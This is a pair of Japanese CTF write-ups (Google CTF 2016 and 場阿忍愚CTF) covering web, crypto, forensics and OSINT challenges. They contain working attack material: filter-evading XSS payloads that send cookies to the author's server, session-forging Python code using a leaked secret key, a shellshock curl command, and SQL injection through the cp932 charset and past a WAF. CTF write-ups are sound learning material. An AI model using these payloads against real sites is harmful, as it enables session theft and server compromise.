というようなことを書くと、 Cookie が送られてきた。(当初はhttpで試したが、もともとhttpsで繋いでいるためかhttpだと手元のブラウザからすらアクセスがこなかった)

146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /waiha.js HTTP/1.1" 200 66 "https://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"
146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /fuga/green-mountains=eyJub25jZSI6IjFiYmM5OGM2YjVjOGI1YTIiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MTk5Mjg3OH0=%7C1461992875%7C37a31eb01981bca6f77cbc4cdcea14930f140db7 HTTP/1.1" 404 395 "https://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"
146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /favicon.ico HTTP/1.1" 200 11270 "https://nhiroki.net/fuga/green-mountains=eyJub25jZSI6IjFiYmM5OGM2YjVjOGI1YTIiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MTk5Mjg3OH0=%7C1461992875%7C37a31eb01981bca6f77cbc4cdcea14930f140db7" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"

送られてきた Cookie を再現して、もともといた vendor の URL に繋ぐとフラグ。

Wallowing Wallabies – Part Two

vendor の URL に繋いだとき、フラグのほかにメッセージ一覧があり、メッセージ一覧を開くとそれに返信するフォームが表示される。先ほどと同じ文字列を入力すると **ANTI**HACKER** に置換される。

src= や onload= も **ANTI**HACKER** に置換され、 <script src=”hoge”></script> は全体が **ANTI**HACKER** になった。

特に script は長い文字列が置換されるので、連結した文字列でなければいいのでは、ということで、

<script
src
=
"https://nhiroki.net/waiha"
>
</script
>

と入力すると通って、 Cookie がサーバに送られてきた(なお、.jsも**ANTI**HACKER**された)

ただ、どこのページにフラグがあるのかよくわからないので一旦チームのチャットに張ったところ、robots.txt のうち一つがつながってフラグが書いてあることをチームのメンバーが見つけてくれた。(自分でもそれは試したつもりだったのだけど、たいぽしていたらしい)

Wallowing Wallabies – Part Three

結構順当にスクリプトが通るが、 // が / になるのと、ピリオドが通らない。

チャットで逐一しゃべっていたら

> document.location ってdocument[“location”]でいけるよね

という風な指摘が来たので、

<script>document["location"]="https:///2634521196/hoge" + document["cookie"];</script>

とすると Cookie が送られてきた。また robots.txt のリンクを試すか、と思いながらとりあえずチームのチャットにアクセスログを張ったところ、瞬時につながっているページを見つけてくれた。

なおそのあと確認したところ、document[“location”] を使わなくとも

<script src="https:///2634521196/waiha"></script>

でも問題なかった。

Purple Wombats

繋ぐとログイン画面に行けるが、 “Undergoing emergency maintenance, sorry for any inconvenience caused” と言われる。

ここで、ソースコードに <!– If you’re interested in our source, please visit our github.com/mannequin-moments/ –> と書いてあるのに気づいた。(ほかの問題にも貼ってあって、それを見たときに関係ないと思っていたが、その時に見た画像がこの問題のサーバのトップページに貼ってあった画像と同じなのを思い出した)。

ソースコードを見るとセッション変数をCookieに暗号化だか電子署名だかなんだかして保存するタイプで、 webapp2 というライブラリを使っているようで、その暗号鍵まで GitHub に貼ってあったので、見ながら適当にすぐにログインできるコードを再現。

import jinja2
import json
import logging

import webapp2
from webapp2_extras import sessions
from paste import httpserver

config = {
        'webapp2_extras.sessions': {
            'secret_key': 'a793134b-c2c5-4cbf-973b-64ff7eea863a',
            'name': 'mannequin-moments',
        }
}
class RequestHandler(webapp2.RequestHandler):
    """Base request handler for Mannequin Moments."""
    jinja_env = jinja2.Environment(
            loader=jinja2.FileSystemLoader('templates')
            )

    def dispatch(self):
        self._session_store = sessions.get_store(request=self.request)

        try:
            super(RequestHandler, self).dispatch()
        finally:
            self._session_store.save_sessions(self.response)

    @webapp2.cached_property
    def session(self):
        return self._session_store.get_session()

    def render(self, tpl_name, **args):
        tmpl = self.jinja_env.get_template(tpl_name)
        args['logged_in'] = True if self.session.get('user') else False
        self.response.out.write(tmpl.render(**args))

class EasyHandler(RequestHandler):
    def get(self):
            self.session['user']='admin'
            return webapp2.Response('aaa')

app = webapp2.WSGIApplication([
    webapp2.Route('/', EasyHandler)
], config=config)

httpserver.serve(app,host='127.0.0.1',port='8080')

起動して繋いで降ってきたクッキーをブラウザに貼りつけて、ソースコードを見る限り /flags にフラグがありそうだったので繋いでみるとフラグが出てきた。

Opabina Regalis – Token Fetch

HTTP のプロトコルを独自プロトコルに書き換えたサーバに対して、接続してトークンを取得する問題。独自プロトコルについても記述があり、 Protocol Buffer をベースとしている。

もともと張られていたスキーマでの Protocol Buffer 自体はチームの他のメンバーが書いていたが、うまくいかないと言っていたのでそれをコピペして手元でいろいろ試してみたところ、先頭4バイトに明らかに32ビットの何かの整数が張られていることに気付く。そこで、

> The network protocol uses a 32-bit little endian integer representing the length of the marshalled protocol buffer, followed by the marshalled protocol buffer.

という記述があったことを思い出して、先頭に32ビットでペイロードの長さを書くようにするとサーバからレスポンスが返ってくるようになった。適当なURLだと /token に繋いでみたら、みたいなメッセージが返ってきたので、 /token に繋ぐとメッセージが返ってくる。もちろん Protocol Buffer で返ってくるが、こちらはパースまでしなくとも strings してコピペすれば問題なかった。

[nhirokinet@ubuntu ~/.../opabina 21:43:26]$ sh -c 'sleep 1; cat send.bin' | openssl s_client -quiet -connect ssl-added-and-removed-here.ctfcompetition.com:1876  | od -c
depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2
verify error:num=20:unable to get local issuer certificate
verify return:0
0000000   2  \0  \0  \0  \n   0  \b  \0 022  \n   /   n   o   t   -   t
0000020   o   k   e   n 032      \n  \n   U   s   e   r   -   A   g   e
0000040   n   t 022 022   o   p   a   b   i   n   a   -   r   e   g   a
0000060   l   i   s   .   g   o   V  \0  \0  \0 022   T  \b 310 001 022
0000100 034  \n 006   S   e   r   v   e   r 022 022   o   p   a   b   i
0000120   n   a   -   r   e   g   a   l   i   s   .   g   o 032   1   C
0000140   T   F   {   W   h   y   D   i   d   T   h   e   T   o   m   a
0000160   t   o   B   l   u   s   h   .   .   .   I   t   S   a   w   T
0000200   h   e   S   a   l   a   d   D   r   e   s   s   i   n   g   }
^C
[nhirokinet@ubuntu ~/.../opabina 21:43:33]$
package main; 
import java.io.FileInputStream;
import java.io.FileOutputStream;

import main.ExchangeOuterClass;

public class Main {
	public static void main(String[] args) throws Exception {
		ExchangeOuterClass.Exchange.Header header = ExchangeOuterClass.Exchange.Header.newBuilder()
				.setKey("Accept-Encoding").setValue("*").build();
		ExchangeOuterClass.Exchange.Request req = ExchangeOuterClass.Exchange.Request.newBuilder()
				.setVer(ExchangeOuterClass.Exchange.VerbType.GET)
				.setUri("/token")
				.addHeaders(header)
				.build();
		ExchangeOuterClass.Exchange exchange = ExchangeOuterClass.Exchange.newBuilder()
				.setRequest(req)
				.build();
		
		byte[] buffer = exchange.toByteArray();
		FileOutputStream fileOutStm = new FileOutputStream("./send.bin");
		byte[] lenbuf = new byte[4];
		lenbuf[0]=(byte)buffer.length;
		lenbuf[1]=0;
		lenbuf[2]=0;
		lenbuf[3]=0;
		fileOutStm.write(lenbuf);
		fileOutStm.write(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
/*
		ExchangeOuterClass.Exchange.Header header = ExchangeOuterClass.Exchange.Header.newBuilder()
				.setKey("Location").setValue("/token").build();
		ExchangeOuterClass.Exchange.Reply res = ExchangeOuterClass.Exchange.Reply.newBuilder()
				.setStatus(302)
				.addHeaders(header)
				.build();
		ExchangeOuterClass.Exchange exchange = ExchangeOuterClass.Exchange.newBuilder()
				.setReply(res)
				.build();
		
		byte[] buffer = exchange.toByteArray();
		FileOutputStream fileOutStm = new FileOutputStream("./send.bin");
		byte[] lenbuf = new byte[4];
		lenbuf[0]=(byte)buffer.length;
		lenbuf[1]=0;
		lenbuf[2]=0;
		lenbuf[3]=0;
		fileOutStm.write(lenbuf);
		fileOutStm.write(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
*/

		buffer=new byte[50];
		
		FileInputStream fileInStm = new FileInputStream("./recv.bin");
		fileInStm.read(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
	}
}

(追記)チームのメンバーの write up へのリンクを貼っておきます。

Google CTF writeup – yuta1024’s diary

場阿忍愚CTF writeup

場阿忍愚CTFに参加していました。個人でまともにCTFに参加したのは初めてなので、思い出して記憶を元に再現しながら write up を書いていきます。

練習

練習 – image level 1

4枚画像が渡されるので、それらを縦につなげた時に見える文字を入力する。並べたりしなくても心の目で見ればなんとかなる。

芸術

ワットイズディス?

画像を見ると甲骨文字で大和世幾由利手伊(由、伊はひらがなでいう小文字の配置)(手とした文字は呈のようにも見えた)と書いてあり、大和セキュリティを当て字にしていると思われた。また、ヒントには大和セキュリティ勉強会のステッカーである旨が記されている。

さて、ここからどうすれば?ということで、Wikipedia などを見ながら「甲骨文字」「金文」などそれらしいキーワードを入れるも失敗。「当て字」などとも入力するが失敗。「大和世幾由利手伊」「大和世幾由利呈伊」などでもないようだった。しばらく放置していたが、もしやと思って全部ひらがなで「やまとせきゅりてぃ」と入れると成功。

cole nanee?

画像が与えられる(画像検索すると @yamatosecurity のTwitterアイコンであることがわかる)。「印」とかではないので頑張って読んで試行錯誤する。忍者というキーワードが他の問題でも頻出するあたりから「忍」を入れると成功。

Lines and Boxes

背景に一定の箱と線が書かれ、手前に漢字が二文字書かれた画像が渡される。漢字は楷書体のように見えるが日本語のものではないようで、また、漢字の部品というよりは「d」のように見える部分もある。「日本人には読みづらい」というヒントもあるのでアルファベットを描き起こした可能性もあるが、読めないので画像検索。そのままでは背景に邪魔されて出ないのでペイントでざっくり背景を除去すると中国の Xu Bing(徐冰)氏の作品であり、アルファベットではあることがわかる。中国由来の文字を中国の方が記したものなので、大和魂と主張するのはあまりに中国に失礼そう。つまり、恐らく大和魂という主張と関係ない。アルファベットであるという類推に自信を得て右の文字を頑張って読むとplayだったので、画像検索にキーワード「play」を追加して解説画像を入手。「word play」だったことがわかる。

二進術

壱萬回

elfバイナリが与えられ、実行すると

3 * 8 = 

のような形式で加減乗除及び割り算の余りを求める問題を出してきて、手で答えると次の問題を出してくる模様。なので、基本的にはこの形式に沿って回答すればよいが、改行しないで出してくるのでバッファを無効化する必要がある。プログラム側ではどうにもならなかったので LD_PRELOADで他プロセスのバッファリング無効化 – murankの日記 の手段を取った。C言語で書いていたが、途中で双方向にパイプするのは意外と面倒なことに気づき、入力を適宜流すために nc でうまくパイプしてごまかしてフラグを得た。

Unity遊戯如何様

Mac 用のアプリが渡され、実行すると3Dのゲームが始まる。3つコインをとるとフラグが出るようだが、3つ目のコインがとんでもないところにおいてありとれない。

手がかりとして記されている通り、 Assembly-CSharp.dll を探し、.Net逆コンパイラを探し(ILSpyを仕様)、GUI Manager以下のコードを読むと、”its_3D_Game_Tutorial”がフラグのように見えるが入力しても失敗。前後のコードを読むもこれを上書きするような処理はなかった。ふとこれが文字の通り表示されているかという可能性に思い至り、中でもフォントの可能性を考慮した時、アルファベットのフォントではデザイン上の理由で小文字も大文字と同様に表示するものがあると想起。確かに他の文字列はソースコード上で小文字なのに大文字で表示されていたので大文字で”ITS_3D_GAME_TUTORIAL”と入力して成功。

解読術

image level 5

zipを解凍するとアルファベットが書かれた画像がいくつかある。Windows のエクスプローラだと撮影日時が記されているので、その順に入力すると正解。(実際には分以下の精度が必要になって Ubuntu で unzip した結果を見たような気もする)

Ninjya Crypto

忍者なら読める暗号とする画像がある。忍者の暗号についてしらべると忍者文字がそれらしいことが判り、「やまといえば」と読める。やまといえば、ということで「かわ」がフラグ。

攻撃術

craSH

ソースコードを読むと、大まかにはメモリの容量は決め打ちされていないが、ファイルサイズに相当するメモリを書き換える際にロックを一切していない。そのため、catの引数にとられたファイルが出力先になっている場合は、現在のサイズを元に出力先のサイズを決定後、新しいサイズを元にメモリへの書き込みを行う。

cat a a a > a

などとすると確保されたメモリを超過して書き込む。craSH 2 はなかなか大変な問題で結局解けなかったが、 craSH についてはメモリを破壊してプログラムをクラッシュさせるだけでよいので適当に上記コマンドを打つか、それでもだめならそのあと作ったファイルを幾つか表示させていればフラグが出てくる。

解析術

Doubtful Files

自己解凍形式のファイルが渡され、解凍してもそれ以上どうしようもないファイル群が登場する。Linux で strings などを試みたところとりあえず RAR の自己解凍形式であることがわかり、

unrar lta 151-DoubtfulFiles.exe

してみたところ、

  Type: NTFS alternate data stream
Target: :Zone.Identifier

という指定がされたファイルがあることに気づく。このキーワードで調べたところ Zone Identifier の存在を知り、これのファイルのうちファイルを大きめのものを見ると BASE64 エンコードされたらしい文字列が複数あり、結合してデコードするとフラグが出てきた。

情報漏洩

USB のパケットをキャプチャした様子があり、途中に大きなパケットがある。その直前のパケットに「PNG」「IHDR」の文字が見えるので、このあたりで検索すると、PNGファイルは「0x89 P N G」の4バイトで始まることがわかった。そのため、この一連のパケットから「0x89 P N G」で始まる部分を見た。既に着目した2パケットを結合してできた png ファイルを開くと、完全ではないものの画像が表示され、フラグはすべて表示されていた。

Speech by google translate

渡されたwavファイルではフラグのようなものを喋っているが、最後の文字が途中で途切れている。がんばって聞いて入力しても失敗。

ファイルサイズに対して少し再生時間が短いので、 RIFF の仕様を調べて本来より短くデータサイズを記したヘッダを修正すると最後まで聞くことができ、突破。

Cool Gadget

画像があるが、よくわからない。 strings で見てみると、 removeme={} で囲まれた文字列が出てくる。中身は BASE64 デコードされており、解凍すると Salted__ で始まるバイナリが登場する。これで調べたところ、opensslを用い、PBE(パスワードベース暗号化)で暗号化されているようだ。また、aes128-cbcの文字列が画像のメタデータとして埋め込まれていた。

そうなると暗号化パスワードがわからないが、removeme={} の部分を丸ごと削除した画像を見ると画像に Cryptex で文字列を示している様子が示された。これがパスワードとかんがえられる。これで暗号化解除してフラグを得た。

$ openssl enc -base64 -d -aes-128-cbc -in enc.txt -k EAHIV
flag={Cryptex is cool!}

enc.txtはremoveme={}の括弧の中身である。

電網術

ftp is not secure.

ftp で FLAG.tar をやり取りしているので、 Wireshark のダンプ機能で取り出して解凍。

ベーシック

BASIC 認証をしているパケットが渡されている。

user:pass が http://burning.nsc.gr.jp

となっている。nsc.gr.jp について軽く調べると場阿忍愚CTFと無関係ではないので、まず http://burning.nsc.gr.jp/ に接続し、ユーザー名が「http」パスワードが「//burning.nsc.gr.jp」で BASIC 認証を突破して解決。

六十秒

NTPで4回時刻を問い合わせたあとpingを一回打ったものをキャプチャしたものが渡された。いずれもパケットの行き先は NICT の NTP サーバ。

問題文を見ると、「昼九つ半の暗号を用いた」とある。昼九つ半は江戸時代に日本で使われていた不定時法で、季節変動があるが大まかな雰囲気としては現代で言う十三時頃である。なので多少無理があるが、じゅうさんじ、あんごう、といえば ROT13 変換、ということで、どこかで ROT13 が登場すると考えられる。(なお江戸時代でも定時法は一部で使われており、調べてみたところその場合は十二支を使うようだ。こちらは地方視太陽時の二十四時間制と一対一対応する。)

pingにはペイロードがあり、BASE64のようだが解読できず、ROT13変換しても解読できない。NTP のパケットサイズが二通りあるのでよくみると、リクエストの内容をそのままレスポンスに返す部分でROT13変換するとURLになりそうな文字列を送っており、変換すると「amazon.co.jp」「k.kyotou.ac.jp」「k.rulers」という内容が読み取れる。とはいってもわからないが、この問題には「サンタ殿からのヒント:素数グッズは生協以外でも販売されていますが、そのIDは削るために使われます。」とある。Amazon で京都大学の素数ものさしの販売ページに行くと、そのURLに含まれる販売者IDがpingのペイロードと一致することがわかる。pingのペイロードからそれを取り除いて BASE64 変換することでフラグを得た。

Japanese kids are knowing.

IP アドレスとともに、「ポートスキャンは苦しゅうない」との記述があるので、ポートスキャンを実施。開いていたポートのうち片方は ssh だったが、もう片方は telnet でつなぐと低速で何かを送ってきた。よく見るとかえるの歌で、メッセージの末尾に自身は動物でありその英語での名前の md5 変換がフラグである旨が記されているので、 “frog” を md5 変換したものがフラグとした。

Malicious Code

楽しい問題。一般的なユーザーが攻撃されたものを想定したパケットキャプチャが出題され、被害者のユーザーの動きを真面目に追っていけば途中でフラグが見つかる。パケットキャプチャのファイル単体でも読み物のような楽しさがあった。

まず、パケットをキャプチャすると、最初にウェブサーバに接続し、 iframe に埋め込まれた plink ファイルを読み込んでいる。その通信が完了したあとは謎のサーバと謎の通信をしているが、ストリームの先頭部分で検索しても TLS であることがわかるのみ、その暗号化も Diffie-Hellman 鍵共有がなされているため、秘密鍵を入手することができたとしてもどうしようもないことがわかる。

何はともあれ plink のファイルを(文脈的にマルウェアなので、実行せずに)覗いたところ、何かを x.js として書きだしたあとその x.js を実行していることに気づく。(当初は Windows の WHS の対応言語に js があることに気づかず、古い IE で Active X を実行されたことを疑っていたが、Windows に js ファイルを作成した時にユーザーが開く操作をすれば js ファイルは普通に実行できることに気づいた。)外側の eval を外すと、まさに怪しい通信の通信先(httpsであることが判明)にリクエストを投げ、レスポンスの内容をそのままコマンドとして実行するコードが登場。宛先をLAN内のサーバに書き換えて実行したところ、自身のネットワークインターフェイスのIPアドレスをPOSTで送出していること(とその形式)が判明。おおまかに攻撃の雰囲気を掴みとった感じを得つつ、それ以上のパケットもないと考えられた。なにはともあれとりあえず被害者が実施されたコマンドを見ようと、 IP アドレスをキャプチャファイルに合わせたリクエストを投げると、コマンドの代わりにフラグが降ってきた。

諜報術

KDL

1998年にKDLがどういう人材を募集していたかということで、InternetArchive で当時のKDLのウェブページを表示し、それらしい文字列をコピペ。

Mr.Nipps

山寺純社長が日本時間で2015年8月13日5:30にどこにいらっしゃったか、という旨を問われている。フラグはGPS由来の緯度と経度が必要。

なぜか社長の Twitter アカウントを見つけるのに苦労したが、@junyamaderaであることがわかる。そうとなればこの前後のツイートを見たいが、量が多くて遡るのが大変なので twilog で閲覧すると、無事このアカウントは twilog に登録されていたようで、該当するツイートを見つける。


とりあえず店の名前が書かれているのでウェブ検索し、登場した Google Maps の位置情報を打ち込んでもはずれ。ふとツイートに位置情報が埋め込まれていることに気づいたが、表示は地名のみで、Webでは座標は降ってこないようだった。APIで当該ツイートを取得してそれらしいものを入れると正解だった。

Akiko-chan

顔写真が与えられ、それがどこの wordpress サイトにあったかを問われる問題(フラグは *.wordpress.com の形式)。画像検索するとすぐに wordpress.com 以下のものが見つかるので、そのまま入力して送信。

タナカハック

「taなんとか123」のユーザー名を探す問題。答えは www.yamatosecurity.com に公開されているファイルにあるとされている。

www.yamatosecurity.com のドメイン内はいくら探しても www.tanakazakku.com ドメインのウェブページをフレームで表示している HTML ファイルしか返してこず、このサーバーに当該ファイルがHTTPでおいてあるとは考え難かった。また、 HTTP とは指定されていないので HTTPS, ftp, smb などに常識的なポートでの接続を試みたがうまくいかなかった。

また、サンタ殿からのヒントには「wgetとgrepとバイナリーエディターさえあればどんな問題でも解けるでござる。」と書かれており、 http で公開されていると判断するのが妥当だった。

こうなれば少し無理はあるが www.tanakazakku.com ドメインも「www.yamatosecurity.com から全画面でのフレームで埋め込まれているから、事実上 www.yamatosecurity.com で公開されている」と解釈して、このドメインも含めて探索した。wget で –recursive オプションを指定し、深さが深くなりすぎないようにしてリンク先のファイルを取得。あとは123を含むファイルを探して、前後のバイナリを見て当該する文字を入力すれば成功。

$ wget --recursive --html-extension --convert-links --page-requisites --no-parent --domains www.yamatosecurity.com,www.tanakazakku.com http://www.tanakazakku.com/yamatosecurity
(snip.)
$ grep 123 . -R
Binary file ./www.tanakazakku.com/yamatosecurity/files/networkforensics1.pdf matches
$ strings ./www.tanakazakku.com/yamatosecurity/files/networkforensics1.pdf |grep 123
(snip.)
<</Author(tanakazakkarini123)/CreationDate(D:20130422102054Z)/Creator(Microsoft PowerPoint)/Keywords()/ModDate(D:20150918163456+09'00')/Producer(Mac OS X 10.6.8 Quartz PDFContext)>>

タイムトラベル

平成25年9月21日に50.115.13.104が紐付いていたドメイン名を問われている。このIPアドレスとともに色々なキーワードを試して過去のドメイン名が記されたページを見つけた記憶があるが、どのようなキーワードだったか思い出せず、また今思いつくものをいくつか試してみても見当たらない。ある程度運にまかせつつ色々試すと解ける、くらいの問題だった。

記述術

search_duplicate_character_string

ふたつの異なる部分文字列で完全に一致するものを探して入力せよとのこと。ずらす文字数を一文字から(長さ-1)までの場合それぞれで先頭から見ていって、最も長いもののみを保持して出力すればよい。200,000バイトあるが、競技プログラミングと違って二秒で終わらせる必要はないのでO(N2)で充分。

JavaScript Puzzle

穴埋めパズルが登場する。開発者コンソールに左から入力してオブジェクトの要素などが存在するか調べたり、文字コードなどは雰囲気で読んだりして埋める。最終的に以下のようになる。場阿忍愚CTF JavaScript Puzzle

Count Number Of Flag’s Substring!

ウェブフォームから文字列を送ると、それがフラグの部分文字列として登場する回数を教えてくれる。/flag={[a-z_{}]+}/の形式であることはわかっている。

flag={で始まることがわかり、それを入力すると1になるので、あとは一文字ずつ[a-z_{}]の文字それぞれを試しながら伸ばしていき、文字が増えなくなったら終了。フラグ一文字あたり29クエリ程度(と前後の処理及び試行錯誤)が必要だが、それより短縮できるとも思えないのでそのまま実施。

解凍?

184-flag.txt をダウンロードし、 file コマンドで見ると bzip2 で圧縮されていることがわかる。ならばと解凍するとまた bzip2 で圧縮されており、また bzip2 で解凍すると今度は ZIP が出てくる、という具合に、マトリョーシカのように圧縮を繰り返されている。何度か手でやると、 ZIP, tar, bzip2, gzip の四種類が登場する。

手でやっていられないほどの段数を経ていると想定されるので、ある程度やって雰囲気を掴んだら自動化して最終的な flag.txt を抽出。

#!/bin/sh

while true
do
	ft=`file flag.txt`
	echo "$ft"

	if echo "$ft" | grep Zip
	then
		unzip -o flag.txt
		continue
	fi

	if echo "$ft" | grep "POSIX tar"
	then
		tar -xvf flag.txt
		continue
	fi

	if echo "$ft" | grep "bzip2 compressed"
	then
		mv flag.txt flag.txt.bz2
		bunzip2 flag.txt.bz2
		continue
	fi

	if echo "$ft" | grep "gzip"
	then
		mv flag.txt flag.txt.gz
		gzip -d flag.txt.gz
		continue
	fi

	break
done

Make sorted Amida kuji!

最初に問題の概要を把握するのに苦労するが、最初の並びが与えられるので、それを昇順に並び替えるあみだくじを指示された数重複なく与えるとフラグがもらえる模様。JSファイルを見るとあみだの線をどの場所に何度置いたかでフラグを生成しており、与えられた回数作るというよりは全種類作る必要があって作者が数を明示してくれているという雰囲気。

最初は 3 1 2 0 を並び替える問題が登場し、また、一つの正解が最初から入力されている。手で線をずらしながら適当に入力すると次のステージに進めた。

第二ステージ(最終)では、 9 8 6 5 7 3 2 1 0 4 をソートするあみだくじを62個(先ほどの考察の通りすべて)作る必要がある。正解も明示されていない。

色々紙で試行錯誤して一つ発見し、そこから線を上下にずらしたりしてみても20通りくらいでしかない。また、全探索は現実的でなさそうだった。

一旦考えなおし、現状で左端にある9,8 を右端に送り込むこと、縦の線が10本程度しかないため、この程度は必要になる(開始位置が少し違うものもあるが、制約条件としての強さは同じ)。

端から端まで二要素を届けるあみだくじ

また、あみだくじとして有効なすべてのパターンは、下の図かその上下反転のいずれかの部分あみだくじ(この状態を仮に「基本あみだくじ」とする。また、部分あみだくじとは元のあみだくじのうち横線を0本以上取り除いたものと定義する。)を元に、「線を上下にずらす」「開いている場所に上下に連続した二本の線を入れる」の操作のみで作ることができることがわかる。これよりも高密度にすることはできず、一本でも上下にずらした状態は単に使用可能な線が減るだけだからである。

基本あみだくじの基本

この二つの制約を整理する、まず基本あみだくじを全探索できることに気づく。基本あみだくじに使用可能な線45本のうち17本は必須のため、2^29程度の探索空間を二つ探索すればよい。

これで、8通りの基本あみだくじが見つかったので、これらを一旦印刷(比喩表現ではなく、プリンタを用いて紙に出力すること)する。

これらのほとんどは数本上下にずらしたり開いた空間に二本の連続した線を入れるだけだが、多くの模様を持つものが2通り見つかる。同時に、この二つはそれぞれ、高々29本の線に自由度があるだけであることに気づいた。そのため、これらについても全探索可能である(それぞれ20通りあった)。

これで62通り発見した。ソースコードのフラグを生成する部分には「simulate this function!!!」とあるが、印刷して手書きで発見した情報も含めて全部コードに起こすのもこの関数のシミュレーション結果を検証するのも面倒なので、全探索で発見した20通り×2をコピペできるようにし、あとは手打ちでブラウザで打ち込んでフラグを得た。

超文書転送術

GIFアニメ生成サイト

接続すると、画像をアップロードすることでGIFアニメを生成するウェブサイトが登場する。色々なURLパターンを試しているうちに、新規画像の生成時に渡されるURLのパス「/movies/newgif/:id」のID部分を1にするとID=1である最初のGIFアニメが閲覧でき、しかもフラグを言いたげな内容が表示されている。

しばらく待つと一瞬だけフラグが表示される。自宅で解いていればGIFアニメを処理する気の利いたツールを探すところだが、電車の中でタブレットで解いていたので、Windows の Snipping Tool でタイミングよくスクリーンショットをよることでフラグの獲得に成功。

Network Tools

ネットワーク系の色々なコマンドをオプションを指定して叩けるサイトが出てくる。コマンドインジェクションかと思うが、オプションががっちり制限されていてインジェクションはおろか普通にネットワーク系のコマンドで遊ぶことすらできない。コメントに利用可能なオプション一覧があるが、ヌルインジェクションなども含め任意のコマンドを動かすことは難しいようだ。

画面の下部に bash のバージョンが表示されており、もしやと思って調べてみるとまさに最近話題になった shellshock の脆弱性を抱えたバージョンだった。

試しに

$ curl -H 'User-Agent: () { :;}; ls ' http://210.146.64.37:60888/exec -F 'cmd=ifconfig' -F 'option=' | less

などとしてみると、lsが見つからない旨が表示される。lsを /bin/ls にすると flag.txt が見つかるので、/bin/cat flag.txt してフラグを得た。

箱庭XSS

実行ファイルが渡され、ウェブのフォームが表示されており、入力すると下に入力したものが大文字に変換されて表示される。試しに<b>a</b>などと入力してみると、まさに太字になった。

なので alert を入れた scriptタグを入れてみるが、動かない。指定の仕方がおかしかったか、ブラウザのバージョンなどもあるのか、などと試行錯誤の末、ローカルに alert するだけの js ファイルを置き、<script type=”text/javascript” src=”C:\Users\(中略)\hoge.js” /> といったことをすると、alert の代わりにフラグが表示された。

YamaToDo

ユーザが指定したエンコーディングで ToDo のメモが保存できるウェブサイト「YamaToDo」から、ユーザー「yamato」のメモを盗み出すというもの。

ソースコードを見ると、PHP の MySQL 呼び出しからユーザーの指定エンコーディングで直接 SET NAMES しており、かつ mysqli_real_escape_string を使っている。よく言われるしてはいけないパターンであることがわかる。

また、文字コード指定は sjis だけ弾いており、弾くエラーメッセージは’sjis? so sweeeeeeeeeet’であった。その時は単に英語としての意味が解らないとしていたが、後日気になって英語で sweet という語をインターネットの辞書(例: sweet – definition of sweet in English from the Oxford dictionary)で引くと、技術水準に言及する場合では円滑にことを運ぶことなどを意味するようであるため、「sjis?やるなああああああ(阻止)」という雰囲気であり、近いところまで来ていると判断できるともいえる。

手元の MySQL で文字コードの一覧を出力すると cp932 があり、こちらは使えることがわかる。そのため、その状態で「ソ’」などとすると’をエスケープする\がソの2バイト目で打ち消され、好きな文字をSQL文の続きとして入れられる。

複文は指定できず、また不正ログインについてもユーザ名及びパスワードについての妥当性検査が厳しいためできないが、INSERT のサブクエリとしてSELECTを入れて他人のメモを自分のメモにINSERTすることができた。あとはそれに従って解けばよかったが、エラーメッセージが表示されず、「同じテーブルを二回参照するときはテーブル名を指定しないとたいてい動かない」ことに気づかずはまっていた。手元で実行してようやく気づいてフラグらしき文字列を入手、ブラウザのエンコーディングを修正してフラグを得た。

Yamatoo

なかなか楽しかった問題。

SQLite で構築された検索サイトからフラグを盗み出す問題。DBのスキーマは別途渡されており、 flag というテーブルに最大60文字の flag というカラムがあることが判っている。

ソースコード中に

        if (mb_strlen($keyword) > 2) {
            $words = implode(' ', ngram($keyword));
            $where = "exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match '{$words}') or `title` like '%{$keyword}%'";
        } else {
            $where = "`title` like '%{$keyword}%'";
        }

        $result = $pdo->query("select * from `site` where {$where}");

とあり、エスケープもしていないので注入箇所をみつけることそのものは容易だった。しかし、いくつかの関門がある。

まず、第一の関門は先ほど引用したコード中で呼び出されている ngram という関門の突破。以下のように定義されている。

    function ngram($text, $n = 2)
    {
		$return = array();
		$n = (int)$n;

        foreach (array_filter(explode(' ', trim($text))) as $word) {
			$length = mb_strlen($word) - $n;
            if ($length > 0) {
			    for ($i = 0; $i <= $length; $i++) {
			    	$return[] = mb_substr($word, $i, $n);
                }
            } else {
                $return[] = $word;
            }
        }

		return $return;

(必要に応じて字下げがずれているのを修正すると)流し込んだ文字列はここでズタズタにされてしまうことが判る。前半部分にあるためコメントアウトによる無効化もできない。そのため、ここを突破する方法を暫く考えるが、「”’」(アポストロフィ三つ)を流し込むと、ズタズタにされる方では「” ”」となり、エスケープされたアポストロフィー二つとなってそれ以後も文字列とみなされるが、後半部では「”’」となり、エスケープされたアポストロフィーのあとのアポストロフィーでクオート部分が終了して外に出ることができる。(なお、最初、「\\’」を試してうまくいかず、SQLiteのドキュメントを見てSQLiteでは「”」とエスケープすることを知った。)

第二の関門は、彼らが導入したとしているWAFだった。

        if (preg_match('/like|glob|nullif|case|union|sleep|substr|instr|soundex|load/i', $keyword) === 1) {
            exit('WAF~><');
        }

わふ~><

UNION しようとしてもわふーされてしまう。SQLite のドキュメントのSQLite Query Language: SELECTを見ても、抜け道は思いつかない。一応、WHERE句で true false がわかれば 1 bit の情報を密輸できるので、これを繰り返すしかない。先ほどの「Count Number Of Flag’s Substring!」と同様の作戦が使える。

